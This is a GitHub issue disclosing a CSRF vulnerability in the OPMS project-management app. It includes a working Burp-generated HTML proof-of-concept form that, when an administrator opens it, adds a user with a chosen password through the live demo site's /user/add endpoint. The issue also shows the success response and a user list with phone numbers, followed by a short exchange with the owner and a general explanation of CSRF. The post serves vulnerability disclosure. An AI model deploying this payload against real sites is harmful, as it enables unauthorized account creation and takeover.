

New issue

Jump to bottom

There is one CSRF vulnerability that can add the account #25

Open alixiaowei opened this issue on Oct 14, 2019 · 2 comments

alixiaowei commented on Oct 14, 2019

Place of backstage set up Organization management exists Csrf Vulnerability,attacker Structure a csrf payload,Once the administrator clicks on the malicious link, add a user

CSRF Exp:

```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://opms.demo.milu365.cn/user/add" method="POST">
  <input type="hidden" name="username" value="lisi" />
  <input type="hidden" name="password" value="a1234567" />
  <input type="hidden" name="depart" value="1462290164626094232" />
  <input type="hidden" name="position" value="1462292006260420932" />
  <input type="hidden" name="realname" value="lisi" />
  <input type="hidden" name="sex" value="1" />
  <input type="hidden" name="birth" value="2019&#45;10&#45;14" />
  <input type="hidden" name="email" value="123&#64;qq&#46;com" />
  <input type="hidden" name="wechat" value="" />
  <input type="hidden" name="qq" value="" />
  <input type="hidden" name="phone" value="13800138000" />
  <input type="hidden" name="tel" value="" />
  <input type="hidden" name="address" value="" />
  <input type="hidden" name="emercontact" value="lxr" />
  <input type="hidden" name="emerphone" value="13800138000" />
  <input type="hidden" name="id" value="0" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```

We can construct the csrf code, so that after the webmaster clicks on the malicious link of the attacker, it will execute csrf, As long as the administrator visits can add user.

```
{ "code": 1, "id": "403757491499831296", "message": "员工信息添加成功" }
```

OPMS

项目管理

考勤管理

审批管理

知识分享

员工相册

简历管理

组织管理

用户状态

请输入用户名、姓名

搜索

libai

组织管理

员工 部门 职称 公告 组 权限

OPMS / 员工管理 / 员工

+添加新员工

员工管理 / 总数: 13

用户名	姓名	性别	手机号	紧急电话	上次登录	状态	操作
lock	lock	男	13524612512	13524396382000		屏蔽	操作~
zhao	赵如庆	男	13761292026	18930806573	2019-08-27	屏蔽	操作~
z kf	张开发	男	11111111111	11111111111	2019-08-31	正常	操作~
lcs	李测试	男	1111111111	1111111111	2019-10-14	正常	操作~
bing3577	bing3577	男	59188530289	dfsd	2019-09-20	正常	操作~
bing3577	bing3577	男	59188530289	dfsd	2019-09-20	屏蔽	操作~
liux	liux	男	13800138001	13800138001		正常	操作~
lisi	lisi	男	13800138000	13800138000	2019-10-14	正常	操作~
libai	李白	男	18930806572	18930806573	2019-10-14	正常	操作~

lock-upme commented on Oct 14, 2019

Owner

在已经登录的情况下吧，进行的外部提交吧？

alixiaowei commented on Oct 14, 2019

Author

在已经登录的情况下吧，进行的外部提交吧？

CSRF (Cross-site request forgery) 跨站请求伪造, 也被称为“One Click Attack”或者Session Riding, 通常缩写为CSRF或者XSRF, 是一种对网站的恶意利用。尽管听起来像跨站脚本 (XSS), 但它与 XSS非常不同, XSS利用站点内的信任用户, 而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。与XSS攻击相比, CSRF攻击往往不大流行 (因此对其进行防范的资源也相当稀少) 和难以防范, 所以被认为比XSS更具危险性。

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

